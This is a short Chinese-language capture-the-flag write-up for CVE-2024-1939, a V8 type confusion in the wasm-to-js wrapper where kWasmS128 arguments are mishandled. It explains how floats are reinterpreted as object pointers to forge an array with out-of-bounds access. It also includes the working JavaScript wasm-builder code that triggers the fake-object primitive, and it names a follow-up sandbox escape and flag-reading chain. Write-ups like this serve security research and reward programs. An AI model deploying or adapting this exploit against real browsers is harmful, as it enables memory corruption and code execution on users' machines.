
For V8CTF M122
这是CVE-2024-1939的简短writeup,我用它来获取V8CTF M122的奖励。
该问题的根本原因是wasm-to-js转换中缺乏对kWasmS128的支持。具体来说,参数栈中发生的wasmS128Const操作被忽略,导致当参数中存在ExprRef时出现类型混淆。
详细来说,这会导致int/float直接转换为对象。因此,很容易构造一个具有任意长度的假数组,从而获得OOB读写能力。还有一个障碍需要绕过:wasmS128Const只会取代存储在FPSlot中的float类型参数,并且不会影响存储在GPSlot中的标记参数。方法存在于StackSlot中。FP/GP寄存器有大小限制。之后,参数将按顺序存储在StackSlot中。如果我们填充寄存器并将一个float数放在StackSlot上,标记参数将从StackSlot中解析,并给我们伪造的对象。
为简洁和速度起见,最终的exp不包括这个wasm模块的构建器,所以我将其附在这里。
function get_corrupt(addr) {
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
u32[0] = addr;
u32[1] = 0;
const builder = new WasmModuleBuilder();
const typeId = builder.addType(makeSig([kWasmS128, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmI64, kWasmI64, kWasmI64,kWasmI64,kWasmI64,kWasmI31Ref,kWasmFuncRef], []));
const importId = builder.addImport('mod', 'foo', typeId);
builder.addDeclarativeElementSegment([importId]);
builder.addFunction('main', kSig_v_v)
.addLocals(wasmRefType(kWasmI31Ref), 1)
.addBody([
...wasmS128Const(0xdeadbeef, 0xdeadbeef),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(f64[0]),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI32Const(0xaaaaaaaa),
kGCPrefix, kExprRefI31, kExprLocalTee, 0,
kExprRefFunc, importId,
kExprRefFunc, importId,
kExprCallRef, typeId,
]).exportFunc();
const instance = builder.instantiate({ mod: { foo: ff } });
let f = instance.exports.main
f();
}
get_corrupt(addr);
使用worker来稳定内存,因为已观察到在worker线程中地址相对稳定。
对于沙箱绕过,请参见V8-Sandbox-Escape-via-Regexp。最终漏洞利用使用正常的orw链通过stderr写入flag。